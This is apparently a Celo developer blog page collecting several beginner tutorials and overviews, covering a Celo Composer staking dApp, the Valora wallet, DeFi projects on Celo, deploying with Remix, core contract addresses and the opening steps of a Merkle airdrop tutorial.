Blockchain companies are now burdened with the task of juggling both providing vital services and lowering the learning curve. At the critical merge point ( the point where new tech is introduced into the work dynamic), plan-to-execution time drops significantly ( this is precipitated by the need to work in a different way that requires the usage of the particular tech i.e web3 in this instance).

The obvious solution then becomes creating solutions that ease developers into web3. This my friends is where Celo stands clear of the crowd. In what regard you may ask? The success of web3 and the full potential of blockchain technology can only be realised with massive adoption. Without adoption, there will be no reason to build. That’s why Celo has taken the lead in the industry by providing tooling to support developers of all levels, from the expert to the web2 developer still toying with the idea of building defi applications. One of such tools is the Celo composer.


Celo Composer

The Celo Composer is a starter pack built on the react-celo toolkit to get you up and running fast in developing DApps on the Celo blockchain. This starter pack is best suited for web2 developers currently transitioning into web3 as it abstracts all the complexities involved in setting up and developing Defi applications and replaces them with a plug-and-play environment.

The starter pack, which currently supports React, React-Native, and Flutter requires little to no configurations from you as it eases you into the web3 sphere.

Now for today’s project

Here’s a list of what we’ll cover in this article:

  • ✅ Step 1: Setting up your environment.
  • ✅ Step 2: Creating your smart contract.
  • ✅ Step 3: Deploying your smart contract.
  • ✅ Step 4: Getting started with the frontend.
  • ✅ Step 5: Interacting with your smart contract from the frontend.

What are we building?

In this article, we are going to use the Celo Composer starter-kit which comes pre-integrated with NextJS, and also Tailwind for styling. This dapp will allow users whose wallet are connected, stake their tokens and earn returns on them.

full-build

This is the end result of our project today. If your learning style is “code first”, you can find the complete code for this project here on Github.

Do follow the commands in the README-md file to get started with setting up your project.

Prerequisites

  • Solidity
  • React
  • Tailwind

Step 1: Setting up your environment ✅​

There are two options to setting up your environment.

Using the Template:

Navigate to the Celo Composer repository and follow the step by step guide entailed in the README-md.

celo-composer

Using the CLI:

The Celo Composer CLI is the easiest way to setup your environment because unlike the first option, it only installs dependencies and boilerplate code necessary for the framework you intend to use.

npx @celo/celo-composer create

Running this command throws up a prompt for you to select the framework of your choice and you are fully setup to start using the starter-kit.

To install dependencies locally and setup test wallet, please refer to the README-md.

Step 2: Creating your smart contract ✅

  • Open your project on your text editor and ensure you’re on the root folder and the navigate to the packages/hardhat folder and rename the .envexample file to .env.

  • In the .env file, paste in the private key of your wallet. If you are wondering where to find your private key, please refer to the README-md in the Celo composer repository. If you prefer to setup your metamask wallet to work with this and future projects, please refer to this guide.

code

  • Navigate to the contracts folder and here we are going to add two contracts. One for the ERC20 token we are going to be using, and our staking contract. So create two new files, Piron.sol and Staking.sol respectively.

code

  • In the Piron.sol file, paste in this contract and save. This is a basic ERC20 contract compliant with the IERC20 standards. This token whose symbol is PTK will serve as our staking and reward token.

code

  • In the Staking.sol file, paste in this contract. This is a simple staking contract that accepts the address of our token(Piron token) and assigns it to the pirToken variable. This contract has six functions or methods but we will only be interacting with three, which are the staking function, pause and unpause function.

code

Step 3: Deploying your smart contract ✅

After setting up and creating our smart contracts, the only thing left to do on the backend of our project is to deploy it to the blockchain. Deploying contracts using the Celo Composer toolkit is an unbelievably seamless process.

  • Navigate to the deploy folder in the hardhat directory and in your 00-deploy.js file, you will see the deployment function for the greeter contract(A sample contract that comes with the starter kit).
await deploy(“Greeter”, {
from: deployer,
args: [“hello world”],
log: true,
})

Update the function to deploy your PironToken and StakePIR by replacing the function with this

const piron = await deploy(“PironToken”, {
from: deployer,
log: true,
})

await deploy(“Greeter”, {
from: deployer,
args: [piron.address],
log: true,
})

module.exports.tags=["PironToken", "StakePIR"];

code

We have two deploy functions, the first functions (piron) deploys our staking and reward token and the second deploys our staking contract and takes as an argument, the contract address of our token(PironToken).

There you have it! All that is left to do, is to open up your terminal, navigate to the hardhat directory

cd packages/hardhat

and run

yarn deploy

This compiles your contracts and deploys them to the Celo blockchain (Alfajores testnet).

View smart contract

Open the Celo Block Explorer (Alfajores Testnet) and paste the transaction or deployed address to view the transaction or smart contract. You can also check your wallet to confirm that the gas fee has been deducted from your balance.


Step 4: Getting started on the frontend ✅

Now we are done with the hardhat folder, we move on to the react-app folder. Navigate to the react-app folder by running on your terminal

cd ../react-app

or if you are in the root directory

cd packages/react-app

Tailwind

Follow the official tailwind guide to add tailwind to your project.

Note: Ensure you are in the react-app directory before installing tailwind.

After installing tailwind, you will notice two new files has been created for you. In the tailwind.config.js file, replace the boilerplate code with this.

code

After updating the tailwind config file, create a new folder in the react-app directory called styles.

In this new folder, create a file called global.css and then paste in this code. These are just basic styling and mostly gradients(most of which we are not going to use, so feel free to take advantage of them to customize your frontend).

code

The final setup for the tailwind configuration is to import the global.css file in the pages/_app.tsx file.

 import “../styles/global.css”;

Add this below the import statements in your _app.tsx file and voila we are done setting up tailwind.

code

AppLayout.tsx

The first file we are going to change is the components/layout/AppLayout.tsx file. We are going to replace it with the following code:

import * as React from “react”;
import Meta from “../meta/Meta”;
import { Header } from “./Header”;
interface Props {
title: string;
description: string;
children: React.ReactNode;
}
export default function AppLayout({ title, description, children }: Props) {
return (

<div className=”flex-1 h-full bg-gray-800">
<Header />
<Meta title={title} description={description} />
{children}
</div>
);
}

code

Utils/Index.tsx

In the utils folder, you are going to add one more utility function to the index.tsx file. Paste in this function below

export function formatTime(timestamp: number) {
const milliseconds = timestamp \* 1000;
const dateObject = new Date(milliseconds);
const humanDateFormat = dateObject.toLocaleDateString()
return humanDateFormat;
}

Step 5: Interacting with your smart contract from the frontend ✅

Index.tsx

Next file we are going to work on, is the index.tsx file. Here, we are going to delete all the placeholder code and replace it with this

code

Code Walkthrough
const contracts =
deployedContracts[network?.chainId?.toString()]?.[
network?.name?.toLocaleLowerCase()
]?.contracts;

The variable contracts is being assigned, every deployed contract which is imported from the deployments folder in the hardhat directory. The variable is in turn, being passed in to the HomePage.tsx.

HomePage.tsx

Navigate to the pages directory and create a new file called HomePage.tsx and in this newly created file, paste in this code. This will serve as as our home screen.

code

Code walkthrough
const { kit, address } = useCelo();

The useCelo() is gotten from react-celo which is a React hook and the easiest way to access Celo in your React application. Kit is used to query onchain data while address returns the address of the user after the connect function has connected the wallet to the project(Refer to components/layout/Header.tsx to see the connect function in action).

const pironContract = contracts
? (new kit.connection.web3.eth.Contract(
contracts.PironToken.abi,
contracts.PironToken.address
) as any as PironToken)
: null;

This creates a new instance of the contract (In this case our PironToken contract). It leverages kit which was destructured from useCelo() to create a new contract instance by passing in, the abi and address of the contract.

Note: “contracts” was passed in to the HomePage from the Index.tsx and contains all deployed contracts if any.

await pironContract.methods
.approve(contracts.StakePIR.address, “1000000000”)
.send({ from: address });

The above function is contained in the submit function and it is responsible for calling our smart contract methods or functions. This particular function calls the approve function in the pironContract and passes as arguments, the contract address of the staking contract and also a gas amount.

const paused = await stakingContract.methods.paused().call();

The above function, is quite similar to the previous in the sense that they both call methods or functions in the smart contract but do notice that theres is a difference between them. .call() is used in place of .send({…}) this is because this particular function does not create a new transaction on the blockchain.

Input.tsx

Navigate to the components directory and create a file called Input.tsx and paste in this code. This component is our custom input field to accept input from the frontend.

code

ProjectCard.tsx

Still in the components directory, create another file called ProjectCard.tsx and paste this code in it. The ProjectCard component is a way to display all the data we fetch from the blockchain.

This card will contain relevant information about our stake contract like number of stakers, start date, end date, etc and also allow up to make some contract calls such as pause, unPause and Claim Rewards.

code

Conclusion

This brings to an end, this session on building with Celo composer. But your learning don’t have to end here as PRs are welcome for those who want to contribute to this project.

Here is a quick recap of everything we covered.

  • ✅ Step 1: Setting up your environment.
  • ✅ Step 2: Creating your smart contract.
  • ✅ Step 3: Deploying your smart contract.
  • ✅ Step 4: Getting started on the frontend.
  • ✅ Step 5: Interacting with your smart contract from the frontend.

For those who have questions or want to be part of our developer community, join us on discord!.

Till next time,

Adios ✌🏾

· 3 min read
Viral Sangani

Create, earn, and grow as a content creator in the Celo community.

image

🎓 Web3 has an education problem

Web3 and blockchain are the future of the modern internet. That said, it's still challenging to learn and build on Web3 because most projects are poorly documented and very few learning resources are available for developers. Even though Web3 is such a revolutionary technology, it still lacks educational the materials that allow developers to contribute and restricts developers from succeeding in Web3.

· 6 min read

Send, pay, and spend cryptocurrency like everyday money — all from the palm of your hand.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Getting started with Valora on Celo.

Here’s a list of what we’ll cover 🗒

  • Step 1: Download Valora
  • Step 2: Create your Valora account
  • Step 3: Use the Valora app

By the end of this post, you’ll be up and running with Valora and ready to send Celo assets to your friends directly from your mobile phone.

Let’s go! 🚀

Introduction to Valora

Valora is a mobile wallet focused on making global peer-to-peer payments simple and accessible to anyone. It’s built on Celo and allows your to use your mobile phone number to send payments to your friends.

image

Valora syncs to your contacts list, which means you can make payments, send international remittances or simply split the bill with someone in your contact list — no matter where they are in the world.

✅ Step 1: Download Valora

To get started you’ll download Valora app. It is available in the App Store for iOS devices and Play Store for Android devices (links available on our home page.

image

Open the Valora app once it is done installing on your mobile device.

image

Read and navigate through the introductory screens and click Get Started.

image

✅ Step 2: Create your Valora account

From your Valora app, select create a new account to start setting up your new wallet. You may also Restore an account if you have an existing Valora account.

image

Terms and Conditions

Read and accept the terms and conditions.

image

Name and Profile

Create a name for your account and add a profile photo.

image

Pin Number

Create a memorable but secure pin number. You will need your PIN whenever you make a transaction, so make it memorable but not easy to guess.

image

Face ID

Click Turn on Face ID if you would like to secure your wallet and make it easier to access Valora.

image

Connect your phone number

Finally, connect your phone number to Valora. You will need to connect your own phone number if you wish to send funds directly to the phone number of your friends and family members.

image

You’ll receive 3 confirmation texts, each with a unique code. Just enter these in the respective fields. Hold tight, as the codes might take a few seconds to arrive. Once your number is connected, you can sync your contact information.

✅ Step 3: Use the Valora app

At this point, you have completed your account setup and can begin using Valora. Click Add Funds on the popup to fund your account from a debit card, bank account, or cryptocurrency exchange.

image

For now, you may close this popup to skip this step use Valora without adding funds. You’ll instead add funds later after you create your recovery phrase.

Select the menu on the top left of your app to view other screens on the Valora app. These screens include home, CELO, Dapps, Recovery Phrase, Add & Withdraw, Settings, and Help. This menu also shows your account address which you may share with others to receive transactions on Valora.

image

Home

You can send or request payments with your contacts from the home screen! To sync your contact list, tap send on your Valora home screen to send funds from a users name, phone number, address, or QR code.

image

Search and select the contact you want to send funds to and follow the prompts on the screen. If your contact doesn’t have Valora yet, don’t worry, the funds will be kept safe until they create their Valora account.

CELO

The CELO screen allows you to view the current price of CELO and your current CELO balance. You may also withdraw CELO and view all of your CELO activity from this screen.

image

Dapps

The Dapp screen is Valora’s Dapp explorer that allows you to view all Celo applications that integrate with Valora. You may use your Celo assets to make use of any application listed on this menu.

image

Selecting a Dapp will take you to its home page where you can learn more about getting started with the Dapp and its Valora integration.

Recovery Phrase

Set this up before funding your account. Your Valora recovery phrase is an extremely important part of your account. Without this phrase you may not be able to recover your account in the future, and with this phrase anyone can access your account.

image

Read more aboutwhat your Recovery Phrase is and why it is important.

Add & Withdraw

Now that you have a recovery phrase, you may add or withdraw Celo assets at any time using your debit card, bank account, or cryptocurrency exchange. Use the link provided for additional details on funding your account.

image

You can also send Celo assets to your account from any other wallet using the Account Address shown on the bottom of your menu.

Settings

The settings page allows you to manage important account information like your profile, security, data, and legal information. Use this anytime you’d like to edit important account details.

image

Help

The help page links you to frequently asked questions, forum, and contact information to allow you to get support from the Valora team. Use this anytime you run into issues with Valora or would like to contact the Valora team.

image

Supercharge

By adding Celo Dollars or Celo Euros to your account, you will automatically start earning rewards on those balances. Select the Rewards icon from the menu to learn more about supercharging your rewards.

image

Congratulations 🎉

That wraps up today’s topic on Getting started with Valora on Celo. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • Step 1: Download Valora
  • Step 2: Create your Valora account
  • Step 3: Use the Valora app

If you made it this far, you downloaded Valora, created an account, and understand how to use each of its basic features. You’re now ready to send Celo assets to your friends from your mobile phone.

GN! 👋

· 7 min read

Creating the world’s first carbon-neutral blockchain was just the beginning.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Sustainable DeFi projects on Celo.

Here’s an overview of what we’ll cover 🗒

  • ✅ Introduction to Celo
  • ✅ Valora
  • ✅ ImpactMarket
  • ✅ Ubeswap
  • ✅ GoodGhosting
  • ✅ Corsali
  • ✅ Poof.cash
  • ✅ Kotani Pay
  • ✅ ReSource
  • ✅ Socialstack

By the end of this post, you’ll be able to discuss some exciting sustainable DeFi projects built on Celo. Hopefully, this helps you come up with a few ideas for things you’d like to build on Celo in the future.

Let’s go! 🚀

Introduction to Celo

Celo is a mobile-first blockchain that makes decentralized financial (DeFi) tools and services accessible to anyone with a mobile phone. It aims to break down barriers by bringing the powerful benefits of DeFi to the users of the 6 billion smartphones in circulation today.

image

The company’s mission is to build a financial system that creates conditions of prosperity for everyone. Celo enables native and non-native digital assets–both cryptographic and Central Bank Digital Currencies (CBDCs)–to circulate freely across devices, carriers, and countries. It’s carbon negative, mission-driven, and is leading the way toward developing cryptocurrency for a beautiful planet.

Celo believes in a future where everyone has the opportunity to learn, build, and grow; and they focus on helping developers will lead the way into this exciting new world.

This post highlights 9 sustainable DeFi applications built on Celo.

1. Valora

Valora is a new digital wallet that makes sending, saving, and spending digital money as easy as sending a text. Make payments, send internationally, or simply split the bill with a friend — no matter where they are in the world.

image

Valora is lowering the barrier to entry into crypto and DeFi. They believe in a world in which each individual has access to the wealth and opportunity created by this new global financial system, and Valora will strive to continue to provide greater access and build bridges to a better and more inclusive future.

2. ImpactMarket

ImpactMarket is a decentralized poverty alleviation protocol that allows the creation and distribution of unconditional basic income between communities and their beneficiaries, according to their needs.

image

ImpactMarket enables any vulnerable community to create its own unconditional basic income system for its beneficiaries, where each one can claim a fixed amount on a regular basis and make payments for free.

3. Ubeswap

Ubeswap is a decentralized exchange and automated market maker protocol for Celo assets. Ubeswap seeks to bring in liquidity from all of DeFi by harnessing the fast transaction times, high block gas limit, and stablecoin system of Celo.

image

Ubeswap envisions a world where anyone can trade any asset from their phone or browser, without having to rely on decades-old clearinghouse technology or other centralized systems. This is only possible if people can invest in good assets.

4. GoodGhosting

GoodGosting is a no-loss DeFi saving game. Users can compete with others to get higher interest rates than when they would save by themselves. We created a shared saving pool smart contract, which plugs into existing Celo DeFi projects (e.g. Moola) to generate interest for all winning players.

image

GoodGhosting aims to provide the infrastructure to customize your own goal-based saving games to play with your friends and family, as well as join games created by others. All with user safety, accessibility and decentralization in mind. Say hello to sexy saving, using the magic of DeFi and gamification!

5. Corsali

Corsali can take any data you provide and build a custom machine learning model to analyze it instantly. Just describe the information you have and the information you want and they’ll provide a ready-to-use, optimized model, paired with an intuitive dashboard and secure API. Add a few lines of code to your application and tap into the power of your data.

image

At the heart of Corsali is a global team of skilled workers. Their curated pros can complete nuanced knowledge work for virtually any industry, on an agile, flexible basis. With their support, the machine learning model APIs they create are more specific and focused on your specific use case.

6. Poof.cash

Poof.cash is a decentralized protocol that keeps your financial data safe on CELO. It supports private transactions through mixing transfers in the fund pools. Play your cards close to your chest with Poof.

image

Because all transactions on the Celo blockchain are public, people can see what wallet address you paid with. Your wallet address can contain all sorts of sensitive information like your token balances and your entire transaction history. Poof.cash makes it possible to send money to any wallet without ever revealing the wallet address the funds originated from.

7. Kotani Pay

Kotani Pay is Africa’s most reliable Blockchain on-ramp and off-ramp service. It’s is a technology stack that enables Blockchain protocols, dApps, and Blockchain FinTech companies to integrate seamlessly to local payment channels in Africa.

image

Kotani pay provides various APIs for lending and Decentralized Finance Protocols, APIs for work platforms — Gig work marketplaces, APIs for neobanks and wallets.

8. ReSource

Resource serves the small businesses and freelancers that provide the backbone for the economy by providing them with fair credit and more customers. Everywhere people are seeking ways to sustain their lifestyles in ways that regenerate the earth, and create a respectful way of life for as many people as possible.

image

Resource chooses to honor the planet, the ecosystems that support us, and the relationships that nourish each other. Resource believes in the authentic economy, the economy that respects people who work for them, rather than see them as pawns in the profit maximization machines.

9. Socialstack

Socialstack is a platform for creators, brands, & communities to launch mission-driven social tokens. It’s a platform to mint and manage social tokens built for creators, community leaders, and changemakers on Ethereum and Celo.

image

Socialstack believes social tokens should not create a world where people are traded like a stock. Social-driven economies should be founded upon gratitude, appreciation, and the co-creation of a brighter society, together.

Creating Prosperity for All

The Celo community strives to use beauty as its guide, imagining a more prosperous and sustainable future for humanity and our planet. It has incorporated features throughout the technology stack to empower this dream such as Proof of Stake, the Carbon Offsetting Fund, and perhaps bounties and natural-backed currencies. cLabs hopes that this is just a starting off point that will inspire more brilliant ideas from the community.

While this post covered some of my favorite dApps built on Celo, there’s an entire community of developers building new applications every day. You can view the latest dApps at Celohub, chat with the community on Discord, and learn more at celo.org.

Congratulations 🎉

That wraps up today’s topic on Sustainable DeFi projects on Celo. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • ✅ Introduction to Celo
  • ✅ Valora
  • ✅ ImpactMarket
  • ✅ Ubeswap
  • ✅ GoodGhosting
  • ✅ Corsali
  • ✅ Poof.cash
  • ✅ Kotani Pay
  • ✅ ReSource
  • ✅ Socialstack

Now you’re ready to go discuss some exciting sustainable DeFi projects built on Celo. Hopefully, you’ve also come up with a few ideas for things you’d like to build on Celo in the future.

GN! 👋

· 7 min read

How to create, deploy and interact with smart contracts on Celo testnet or mainnet using Remix.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Deploying on Celo with Remix.

Here’s a list of what we’ll cover 🗒

  • ✅ Introduction to Remix
  • Step 1: Write your smart contract
  • Step 2: Compile your contract
  • Step 3: Deploy your contract
  • Step 4: Interact with your contract
  • Step 5: View contract details
  • Step 6: Verify your contract on Blockscout

By the end of this post, you’ll be able to create, deploy, and interact with your smart contract on Celo testnet or mainnet.

Let’s go! 🚀

Introduction to Remix

The Remix IDE is an open-source web and desktop application for creating and deploying Smart Contracts. Originally created for Ethereum, it fosters a fast development cycle and has a rich set of plugins with intuitive GUIs. Remix is used for the entire journey of contract development and is a playground for learning and teaching EVM-compatible blockchains like Celo.

image

In this guide, you will learn to deploy a smart contract on Celo using remix.ethereum.org.

tip

To learn more about the features available to you as a smart contract developer with Remix, visit the Remix documentation.

Step 1: Write your smart contract​

The first step when creating a smart contract is to write the smart contract code. If you’re just getting started, you can use one of their default contracts or learn to write your own contracts using the Solidity docs or Solidity by Example.

  • Navigate to remix.ethereum.org and select contracts > 1_Storage.sol from the File Explorers pane.
  • Make any changes to your smart contract and save the final version using Command/Ctrl + S.

image

Step 2: Compile your Contract​

Now that you’ve created your smart contract, the next step is to compile it. Compiling translates your smart contract into code the Ethereum Virtual Machine (EVM) understands before deploying it to the network.

  • Choose the Solidity Compiler Icon on the left side menu.
  • Check that your compiler version is within the versions specified in the pragma solidity statement. Example pragma solidity ≥0.7.0<0.9.0; and compiler 0.8.7+commit.e28d00a7.
  • Select Compile 1_Storage.sol(or your contract name) to compile your smart contract. If you have any errors, your contract will fail to compile and you can debug using the console and warnings as needed.

image

Step 3: Deploy the Contract​

Now that your contract is compiled, you can deploy your smart contract to the network. You can deploy to any Ethereum compatible network, and in this case we’ll be deploying the Celo testnet or mainnnet depending on your preference. If you’re brand new to this stick with testnet!

  • Click the Deploy and Run Transactions Icon on the left side menu.
  • Choose Injected Web3 as your environment.
  • Connect MetaMask to Celo testnet and verify the network.
Network details
  • Custom (44787) network for Celo testnet
  • Custom (42220) network for Celo mainnet
  • Note: If you don’t have Celo setup with MetaMask, you can also choose JavaScript VM London as your environment. This will deploy to a local non-Celo environment and is helpful for testing.
  • Finally, click Deploy and select Confirm in the MetaMask notification window to pay for the transaction. You’re creating a transaction because when you deploy a contract you’re writing its code to the blockchain. You’ll need to approve and pay for a transaction anytime you write to the blockchain — like right now!

image

Step 4: Interact with your Contract​

If you made it this far, congratulations your contract is live on the Celo network! You can now use the built-in Remix tools to interact with your contract and check out how it works.

  • Select the dropdown on the newly deployed contract at the bottom of the left panel.
  • View the deployed contract’s functions using the Deployed Contracts window.
  • Select functions to read or write on Celo using the function inputs. These inputs are the same as the functions in your contract code.
  • Confirm transactions in the MetaMask Notification Window to pay the transaction fee whenever writing to the blockchain. You will not need to pay for functions that read information from the blockchain.

image

Step 5: View Contract Details​

All smart contracts deployed on Celo can be viewed on the Celo Block Explorer (known as Blockscout). From there you can view contract details, transactions, and all types of other information.

  • Copy the contract address from the Deployed Contracts window on the left panel in Remix.
  • Navigate to Blockscout and use the contract address to search for your contract in the top right search bar. Check that you’re on same network as your deployed contract (Celo Mainnet, Alfajores Testnet) using the dropdown to the left of the search bar.
  • Learn more about the Block Explorer here and take some time to explore the details of your deployed smart contract.

image

Step 6: Verify the Smart Contract​

While you can view a variety of contract details using blockscout, you cannot view the code by default. Verifying your smart contract takes care of this for you and allows anyone to review your code from within the Celo Block Explorer. This can be done using the Remix Sourcify Plugin.

  • Navigate back to the Remix IDE, select Plugin Manager from the left side menu.
  • Search for Sourcify, click Activate, and open the newly installed Sourcify Plugin.
  • Choose Verifier, select the dropdown menu, and choose the location for your deployed contract (example: Celo (Alfajores)).
  • Paste your contract address into the Contract Address field and select Verify.

image

Navigate to the Contract Address Details Page in the block explore to use the Code, Read Contract, and Write Contract panels to view and interact with your deployed smart contract. After your contract is verified you’ll now be able to view the smart contract code from Blockscout. Head back to your contract and check it out!

Tip for Truffle & Hardhat users

The source code of the contract that you are verifying will need to be in Remix. Contracts deployed with Truffle, Hardhat, and other tools can also be verified using the Remix Sourcify plugin, but you will need to copy your contract source code into Remix first.

Congratulations 🎉

That wraps up today’s topic on Deploying on Celo with Remix. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a review of what we covered 🤔

  • ✅ Introduction to Remix
  • Step 1: Write your smart contract
  • Step 2: Compile your contract
  • Step 3: Deploy your contract
  • Step 4: Interact with your contract
  • Step 5: View contract details
  • Step 6: Verify your contract on Blockscout

If you run into any issues, try reviewing the content or searching online to explore each topic in more detail. Hopefully, you’ve learned a few things about Deploying on Celo with Remix that you can apply in the real world.

GN! 👋

· 6 min read

Making sense of the logic driving the Celo platform.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Celo Core Contracts.

Here’s an overview of what we’ll cover 🗒

  • ✅ What is the Celo Protocol?
  • ✅ Celo Core Contracts
  • ✅ Navigating contract resources
  • ✅ Core Contract Details

By the end of this post, you’ll be able to navigate many of the Celo Core Contracts and have the tools to explore the Celo protocol.

Let’s go! 🚀

What is the Celo Protocol?

The Celo protocol is a fully EVM compatible, proof-of-stake, carbon-negative, layer-1 protocol, featuring a fast ultralight client and built-in seigniorage stablecoins, collateralized by crypto and natural assets.

image

The Celo Full-Stack Solution

Celo provides a full-stack blockchain solution where each layer is designed to ensure the speed, security, and stability of every application built on the Celo platform.

The Celo Blockchain is an open cryptographic protocol that allows applications to make transactions and run smart contracts. A growing collection of Celo Core Contracts run on the Celo Blockchain defining the platform logic including ERC-20 stable currencies, identity attestations, proof-of-stake, and governance. These contracts are used by developers build Applications that take advantage of innovations in the Celo Protocol.

Celo Core Contracts

The Celo Core Contracts are divided into four main groups: common, governance, identity, and stability. Each has its own folder and is available in the contracts folder.

image

The common folder holds files used throughout the protocol including the registry, utilities, and the CELO native asset. The governance folder handles validator elections, proposals, and rewards. The identity folder handles functions that link accounts to cell phones or other unique identifiers. Finally, the stability folder manages Celo stable coin functions including the reserve and on-chain exchanges.

Contract release process

Changes to core smart contracts are made using on-chain Governance approximately four times a year. When a release is made, all smart contracts from the release branch that differ from the deployed smart contracts are released and included in the same governance proposal.

image

Secure smart contracts with OpenZeppelin

OpenZeppelin provides a service to verify smart contract security by performing smart contract audits. Celo has received and implemented all feedback from the thorough audit reports provided by the OpenZeppelin engineering team to ensure the security of their contracts.

image

The core contracts in this post include a link to the code and unit tests in GitHub, block explorer in Blockscout, and CLI commands or documentation when available.

Code

Read the smart contract code in GitHub to learn more about the structure and logic defined in the Celo platform.

image

Blockscout

Navigate the contract address details in Blockscout to learn more about the contract usage, history, code, along with other contract details.

image

Unit tests

Explore the unit tests to see how each contract adheres to functional correctness and security best practices.

image

Smart contract address

The smart contract address is the location of the deployed smart contract on the Celo blockchain.

Address: 0xed68f8B11240249382478631bA0185473984aaf7

Core Contract Details

Now you can start exploring 17 of the Celo core contracts!

Accounts

Maps an address to an account in storage.

image

Address: 0xccF3e2a7c06A515E36F547c6eB563dc8E00d3c08

Attestations

Contract mapping identifiers to accounts.

image

Address: 0xD787384d91a7fFaC85d51C63EF71580df6C677B7

Locked Gold

Allows users to lock CELO by sending it to the contract.

image

Address: 0xc683d91656ED9024ADDD7a40A181398E0258283F

Escrow

Utilizes Celo’s Lightweight identity feature to allow users to send payments to other users who don’t yet have a public/private key pair or an address.

image

Address: 0xf4Fa51472Ca8d72AF678975D9F8795A504E7ada5

Exchange

Contract that allows to exchange StableToken for GoldToken and vice versa using a Constant Product Market Maker Model.

image

Address: 0x67316300f17f063085Ca8bCa4bd3f7a5a3C66275

FeeCurrencyWhitelist

Holds a whitelist of the ERC20+ tokens that can be used to pay for gas.

image

Address: 0xBB024E9cdCB2f9E34d893630D19611B8A5381b3c

GasPriceMinimum

Stores and provides gas price minimum for various currencies.

image

Address: 0xDfca3a8d7699D8bAfe656823AD60C17cb8270ECC

GoldToken

Specifies standards for the Celo native asset, known as CELO.

image

Address: 0x471EcE3750Da237f93B8E339c536989b8978a438

Governance

A contract for making, passing, and executing on-chain governance proposals.

image

Address: 0xD533Ca259b330c7A88f74E000a3FaEa2d63B7972

Granda Mento

A mechanism for exchanging large amounts of CELO for Celo stable tokens that aren’t suitable for Mento or over-the-counter (OTC).

image

Address: 0x03f6842B82DD2C9276931A17dd23D73C16454a49

MultiSig

Allows multiple parties to agree on transactions before execution.

image

Address: 0xed68f8B11240249382478631bA0185473984aaf7

Random

Provides randomness for verifier selection

image

Address: 0xE43ea9C641a2af9959CaEEe54aDB089F65457028

Registry

Routes identifiers to addresses.

image

Address: 0x203fdf86A00999107Df531fa00b4bA81d674cb66

Reserve

Ensures price stability of StableTokens with respect to their pegs.

image

Address: 0xc683e6f77B58D814B31F8661331EbDf63785D607

SortedOracles

Maintains a sorted list of oracle exchange rates between CELO and other currencies.

image

Address: 0x6CEB70e9237dfE15eDC4A35aAd1598225609d171

StableToken

An ERC20 compliant token with adjustable supply.

image

Address: 0x18E6BFDc909063F7445E410a5495264619495bCB

Validators

A contract for registering and electing Validator Groups and Validators.

image

Address: 0x2e3b47Cf3163dE47E852ff11D53a9ad8dFE7C68D

Congratulations 🎉

That wraps up today’s topic on Celo Core Contracts. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • ✅ What is the Celo Protocol?
  • ✅ Celo Core Contracts
  • ✅ Navigating contract resources
  • ✅ Core Contract Details

Explore the code, unit tests, block explorer, documentation for any contract you find in the contracts folder. Hopefully, you’ve learned a few things about _Getting started with the Celo CLI _that you can apply in the real world.

GN! 👋

· 8 min read

Deploy an Airdrop contract to Celo and claim ERC20 tokens using the web3 SDK.

header

Hello Developers 🌱

I can’t say I have a Web2 analog for cryptocurrency airdrops. It is a method unique to the web3 space and has a reputation for building communities in a matter of days around a product, protocol, or cause.

In addition to bringing people together, airdrops are typically used for different reasons such as marketing/building awareness, rewarding early contributors, generating buzz, and distributing governance. It is an exceedingly growing method for engaging with users and has even been the origin of tokens with hundred million dollar market caps.

So, want to learn how to build and deploy an Airdrop contract on the worlds only mobile-first, carbon negative, refi destined blockchain? The following is a straight-to-the point tutorial that will get you up and running in no time!

Here are the steps we’ll follow 🗒

  • Step 1: Create your account
  • Step 2: Add eligible addresses
  • Step 3: Generate Merkle root & proofs
  • Step 4: Update migration file
  • Step 5: Deploy airdrop contract
  • Step 6: Fund the contract
  • Step 7: Claim the airdrop

By the end of this post, you’ll be able to deploy an Airdrop contract to Alfajores (Celo’s testnet), fund the contract using the Alfajores faucet, and claim the ERC20 tokens using the web3 SDK.

tip

This tutorial was inspired by Uniswaps’s Merkle Distributor.

Let’s go! 🚀

Before getting started

To get started with this tutorial, check out the following tools and set up the boilerplate code in your local environment.

Prerequisites

Environment Setup

Open your terminal and clone the celo-airdrop repository.

git clone https://github.com/Jesse-Sawa/celo-airdrop.git

Change into the project folder.

cd celo-airdrop

Install dependencies.

yarn

Once installation is complete, you’re ready to get started with the tutorial!

How airdropping tokens with an erc20 contract works

The high-level purpose of an airdrop is to allow a pre-configured set of users to claim tokens based on some historical data. In this tutorial, we will deploy an Airdrop contract on Celo’s testnet that requires two parameters upon creation;

  • The erc-20 token contract address (you can find this on blockscout
  • The Merkle root of the tree containing the whitelisted users & the corresponding amounts.

In the context of this tutorial, using a Merkle tree allows us to verify a user is eligible for the airdrop without having to maintain that data on chain, thus saving computational resources. By only storing the root of the merkle tree on chain, we can verify a specified user is eligible given the request is accompanied by additional data e.g. amount eligible, related proofs and index in the tree. You can learn more about Merkle trees here.

✅ Step 1: Create your account

Fund your Celo address using the Alfajores faucet (to generate a new key pair, run node tutorial/createAccount.js from the root directory)

Afterwords create the .env file by running the following command:

cp .env.example .env

Finally, paste your address and private key as the corresponding key values in the .env file.

✅ Step 2: Add eligible addresses

Let’s add a json file to the project containing an array of addresses that are eligible for the Airdrop. This list should contain a simple mapping of addresses and token values defined in WEI.

For the sake of this tutorial, there is an example eligibility list under the tutorial directory which you can use. If you decide to use the provided example list, nothing else needs to be done and you can move to the next step otherwise, be sure the json file you add is in the same format.

✅ Step 3: Generate Merkle root & proofs

Let’s generate the file containing the Merkle root and corresponding proofs of which will be required to create the contract and claim the tokens.

Under the scripts/merkle-tree directory there is a file called generate-merkle-root.ts. We can execute this script by passing in the path to the eligibility-list specified in the previous step.

